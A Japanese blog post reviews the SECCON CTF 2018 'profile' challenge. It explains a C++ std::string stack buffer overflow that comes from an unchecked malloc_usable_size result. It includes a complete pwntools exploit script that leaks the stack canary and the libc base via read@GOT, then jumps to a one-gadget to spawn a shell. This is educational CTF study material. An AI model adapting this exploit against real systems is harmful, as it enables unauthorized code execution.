fr33f0r4ll

自分用雑記

SECCON CTF 2018 Online Profile 復習

SECCON CTF 2018 Online Profile 復習

参考にしたサイト

問題

profileというプログラムとlibcが降ってくる。

セキュリティ機構は以下。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

標準的なセキュリティ機構は有効で変わったところはない。

次はfileの出力。

profile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped

x64らしい。

解析

Radare2で解析してみたらC++だった。

復習目的だったのと、ちょっと探しただけじゃ脆弱性を見つけられなかったのですぐにWriteupを見た。

Writeupその2によると、バッファオーバーフローがあるらしい。
stringクラスの内部メモリ構造を理解する必要があり、文字列の内部ポインタを上書きすることで任意の読み出しができるそうだ。
read@GOTをリークさせてlibcベースを見つけ出し、one gadget RCEでsystem(/bin/sh)を実行する。
上の文章はほぼ直訳になってる。

stringクラス

Writeupその1を参考にした、要は長さが16未満の文字列をコンストラクタに渡したときはヒープに領域を確保せずスタックに積むようになるということらしい。

自分じゃコードとか解析しきれなかった、パワーが足りない...

Writeupその1から取ってきたPoCコード。

#include <cstdlib>
#include <iostream>
#include <string>

// replace operator new and delete to log allocations
void* operator new(std::size_t n) {
    std::cout << "[Allocating " << n << " bytes]";
    return malloc(n);
}
void operator delete(void* p) throw() {
    free(p);
}

int main() {
    for (size_t i = 0; i < 24; ++i) {
        std::cout << i << ": " << std::string(i, '=') << std::endl;
    }
}

実行すると16文字以降からはヒープに領域が確保され、それまではスタックに確保されていることが分かる。
Profile::update_msgで使われているmalloc_usable_sizeはスタックのアドレスが引数として渡された場合は負数を返すようになっている。
関数内で負数のチェックをしていないため、文字列長のチェックをすり抜けバッファオーバーフローさせられる。

作問者さまのサイトから拾ってきたソースコードの該当する部分。

void Profile::update_msg(void){
    char *buf;
    size_t size;

    buf = (char*)msg.c_str();
    if(!(size = malloc_usable_size(buf))){ // ここで負数が返される
        cout << "Unable to update message." << endl;
        return;
    }

    cout << "Input new message >> ";
    getn(buf, size); // ここで、sizeがunsignedなので巨大な正の数として扱われる
}

説明のためにコード中にコメントを書き加えた。

Exploit

stringとProfileクラスがスタック上でどうなっているのかよく分からなくて苦戦した。
おおまかには次のようになっている、pwndbgのtelescopeほぼそのまま。

0c:0060│ rax rdi  0x7fffffffd490 <- 0x54534554 /* 'TEST' */
0d:0068│          0x7fffffffd498 -> 0x401544 <- no
0e:0070│          0x7fffffffd4a0 -> 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */            # Profile p.msg、文字列が格納されている場所へのポインタ
0f:0078│          0x7fffffffd4a8 <- 0x4                                                       # Profile p.msg、格納されている文字数
10:0080│          0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */                               # Profile p.msg、バッファの前半部分
11:0088│          0x7fffffffd4b8 -> 0x40155a (_GLOBAL__sub_I__ZN7Profile10update_msgEv+19) <- pop    rbp #Profile p.msg、バッファの後半部分
12:0090│          0x7fffffffd4c0 -> 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */                 # Profile p.name、文字列が格納されている場所へのポインタ
13:0098│          0x7fffffffd4c8 <- 0x4                                                       # Profile p.name、格納されている文字数
14:00a0│          0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */                                   # Profile p.name、バッファの前半部分、16バイト
15:00a8│          0x7fffffffd4d8 <- 0x0                                                       # Profile p.name、バッファの後半部分
16:00b0│          0x7fffffffd4e0 <- 0x14                                                      # Profile p.age、20を入力した
17:00b8│          0x7fffffffd4e8 <- 0x9772425bb8672300                                        # canary、prev rbpとの間はパディング?
18:00c0│          0x7fffffffd4f0 -> 0x7fffffffd5e0 <- 0x1
19:00c8│          0x7fffffffd4f8 <- 0x0
1a:00d0│ rbp      0x7fffffffd500 -> 0x4016b0 (__libc_csu_init) <- push   r15                  # prev rbp
1b:00d8│          0x7fffffffd508 -> 0x7ffff7495830 (__libc_start_main+240) <- mov    edi, eax # return address

スタックの配置がこんな感じになっているので、Profile::update_msggetn(buf, size);バッファオーバーフローさせることで、p.nameの文字列が格納されている場所へのポインタが書き換えられる。
書き換えたあとでshow profileを選択することで、任意のアドレスの値を表示させられる。

ASLRを考慮してか、WriteupのExploitでは末尾1バイト分を書き換えるようになっていた。
末尾だけを0x00から0xffの範囲で書き換えて順番に表示することで、スタックの一定の範囲を全てダンプすることができる。
上の例にならうと0x7fffffffd4XXの範囲の値を全て見ることができる。
また、Profile pがスタックに確保されていることを考えると、ダンプした範囲のどこかにProfile p自身も含まれている可能性が高い。

以上のことから、0x00から0xffの範囲をダンプしてp.msgに入力した文字列を探し、その相対位置からcanaryを特定することが可能になる。

次に、p.nameの指すアドレスをGOT領域のreadに設定して、readが実際に存在しているアドレスを特定する。
実際に存在しているアドレスとlibc内のオフセットから、libcのベースアドレスを知ることができる。
あとはsystem/bin/shかone gadget RCEを使い、canaryによる検知を回避して、ripを奪いシェルを起動すればいい。

Writeupその1とか作問者さまのサイトにあったコードを参考にしつつ、Exploitを作成。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './profile'
libc = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('profile.pwn.seccon.jp', 28553)
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
menu = {'exit': '0', 'update': '1', 'show': '2'}

io = start(env={
    'LD_PRELOAD':
    './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
})
elf = ELF(exe)
libc = ELF(libc)


# メニューの'update message'へ、payloadを入力する
def update(payload):
    io.sendlineafter('>> ', menu['update'])
    io.sendlineafter('Input new message >> ', payload)


# メニューの'show profile'を呼び出すだけ
def show():
    io.sendlineafter('>> ', menu['show'])


# p.nameのアドレスをaddrで書き換えて、show profileで表示させその値を返す
# パディングはあとでp.msgの位置を特定するために使う
def leak_val(addr, padding='AAAAAAAABBBBBBBB'):
    assert (len(padding) == 16)

    update(padding + addr)
    show()

    io.recvuntil('Name : ')
    # スタックのアドレスなんかは上位2バイトが0になってるので注意が必要
    out = io.recvuntil('Age  :').strip().ljust(8, '\x00')[:8] 

    return u64(out)


name = 'X' * 15
age = '20'
msg = 'Y'

io.sendline(name)
io.sendline(age)
io.sendline(msg)

# スタックの値をダンプする
leak_vals = []
for i in range(0, 0x100, 8):
    leak = leak_val(chr(i))
    log.info("Leak @ {:02x}: 0x{:016x}".format(i, leak))
    leak_vals.append(leak)

# パディングで設定した値から、p.msgの位置を特定する
if u64('A' * 8) not in leak_vals:
    print("Canary is not found  on the stack, retry.")
    io.close()
    exit(1)

# 特定したp.msgの位置からのオフセットで他の値を取得する
msg_pos = leak_vals.index(u64('A' * 8))
canary = leak_vals[msg_pos + 7]
prev_rbp = leak_vals[msg_pos + 10] # rbpからの相対アクセスで変なアドレスにアクセスしないようにするために使う
# p.nameの文字列へのポインタのアドレス
# main終了時にfreeされるらしく変なアドレスだとエラーが発生するため、それを回避するために使う
# 自分自身のアドレスがリークされていることに注意、つまりp.nameにある文字列へのポインタのアドレスを保持している変数自体のアドレスになる
profile_name_addr = leak_vals[msg_pos + 2]

log.info('canary: 0x{:x}'.format(canary))
log.info('prev_rbp: 0x{:x}'.format(prev_rbp))

# オーバーフローでシェルを起動する
# read@GOTの値をリークすることで、one gadget RCEのアドレスを取得する
read_got = leak_val(p64(elf.got['read'])) 
libc_base = read_got - libc.symbols['read']
one_gadget = libc_base + 0x45216 # one_gadgetで調べたアドレス、rax == nullの制約があるらしい

payload = 'A' * (8 * 2)  # p.msgのバッファを埋めるパディング
payload += p64(profile_name_addr + 0x10)  # freeされるため元のアドレスを復元する、0x10バイト先が本来のバッファなので0x10を足せばバッファのアドレスになる
payload += 'B' * (8 * 4)  # パディング
payload += p64(canary)
payload += 'X' * 8
payload += 'X' * 8
payload += p64(prev_rbp - 0x100) # 変なアドレスにならないようにrbpから適当な位置に設定
payload += p64(one_gadget) # シェルを起動

update(payload)

io.sendlineafter('>> ', menu['exit']) # exitしてmain関数からリターンする

io.interactive()

感想

C++のバイナリはあまり慣れていないから新鮮だった。
特にstringの構造については調べることすらろくにできなかったので、本番でもどうしようもなかった気がする。
Writeupでは細かいテクニックを色々使って解いているので勉強になった。